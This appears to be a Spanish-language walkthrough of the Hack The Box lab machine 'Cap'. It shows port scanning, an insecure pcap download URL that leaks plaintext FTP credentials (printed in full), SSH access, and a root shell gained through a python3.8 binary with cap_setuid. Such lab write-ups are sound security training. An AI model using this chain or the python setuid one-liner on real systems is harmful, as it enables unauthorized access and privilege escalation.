Cap - Hack The Box

3 minute read

  3 minute read

Iniciamos haciendo un escaneo básico de puertos con nmap

Esta vez no hago uso de --min-rate ya que solo con el -T5 iba a buena velocidad

~$> sudo nmap -p- --open -T5 -v -n -Pn 10.10.10.234
  • -p- -> Todo el rango de puertos (1-65535)
  • --open -> Mostrar solo puertos abiertos
  • -T -> Controlar el temporizado, en este caso uso el máximo (5)
  • -v -> Triple verbose para ver los avances del escaneo antes de que acabe
  • -n -> Quitar la resolución DNS
  • -Pn -> Para no aplicar host discovery
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-16 18:42 -05
Initiating Connect Scan at 18:42
Scanning 10.10.10.245 [65535 ports]
Discovered open port 21/tcp on 10.10.10.245
Discovered open port 80/tcp on 10.10.10.245
Discovered open port 22/tcp on 10.10.10.245
10.10.10.245 timed out during Connect Scan (0 hosts left)
Completed Connect Scan at 18:57, 900.04s elapsed (1 host timed out)
Nmap scan report for 10.10.10.245
Host is up (0.11s latency).
Skipping host 10.10.10.245 due to host timeout
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 900.16 seconds

Encontramos 3 puertos externamente abiertos:

  • 80 -> http
  • 22 -> ssh
  • 21 -> ftp

Ya que hay un servicio ftp, intenté conectarme como el usuario anonymous sin proporcionar contraseña

~$> ftp 10.10.10.245

Pero el servidor no acepta conecciones de usuarios anonimos

Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:invertebrado): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>

Entonces tenemos que buscar por otro lado

Otro puerto que vemos es el 80, con un servicio http, así que vamos a analizarlo directamente desde el navegador

A demás del usuario (nathan)

no encontramos nada que nos sirva de momento

Si desplegamos el panel lateral, vemos algunas secciones de la web

la primera nos llama la atención ya que nos dice que se hace una captura cada 5 segs, así que entramos en esta

Aquí nos encontramos con algunos registros y un boton (Download) con el que podemos descargar una captura (.pcap)

Si la descargamos y la analizamos, en mi caso con tshark

~$> tshark -r 3.pcap

Veremos que no hay nada que nos sirva

Volviendo a la web, vemos que en la url se nos muestra el mismo número de la captura (en mi caso 3)

Si cambiamos este por cualquier otro, descargamos la captura y la analizamos nuevamente con tshark (igual que en el paso anterior), vamos a ver que se nos lista información diferente, pero que sigue siendo irrelevante

Pero si cambiamos este identificador por un 0

Descargamos la captura

Y la volvemos a analizar

~$> tshark -r 0.pcap | grep -E -i "user|pass"
   36   4.126500 192.168.196.1 → 192.168.196.16 FTP 69 Request: USER nathan
   40   5.424998 192.168.196.1 → 192.168.196.16 FTP 78 Request: PASS Buck3tH4TF0RM3!

Encontramos credenciales en texto plano!

Con estas credenciales podríamos conectarnos por ftp y optener la flag (user.txt), pero estas tambien nos sirven para conectarnos por ssh (aprovechando que está habilitado el puerto 22), así que mejor nos conectamos de esta manera

~$> ssh nathan@10.10.10.245
nathan@10.10.10.245's password:
[ ... ... ]
nathan@cap:~$ 

Una vez aquí podemos leer la flag

nathan@cap:~$ cat user.txt

Y continuamos

En este punto sigue convertirnos en root

Despues de listar permisos SUID y buscar un poco por el sistema, recorde que la máquina se llama Cap y se me ocurrió buscar por capabities

nathan@cap:~$ cd /
nathan@cap:~$ getcap -r / 2>/dev/null
  • 2>/dev/null -> Redireccionamiento del stderr al /dev/null (De esta manera no se me mostrarán errores)

Obteniendo lo esto:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Vemos algunos binarios comunes, pero lo primero que se nos lista es /usr/bin/python3.8, una vez visto esto ya sabemos que tendremos root fácilmente tal que así:

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/# whoami
root

El uid 0 cooresponde al del usuario root, por eso si seteamos nuestro uid con este valor, nos convertimos en root Ya somos root!

Ahora podemos dirigirnos al directorio /root y leer la flag

root@cap:/# cd /root && cat root.txt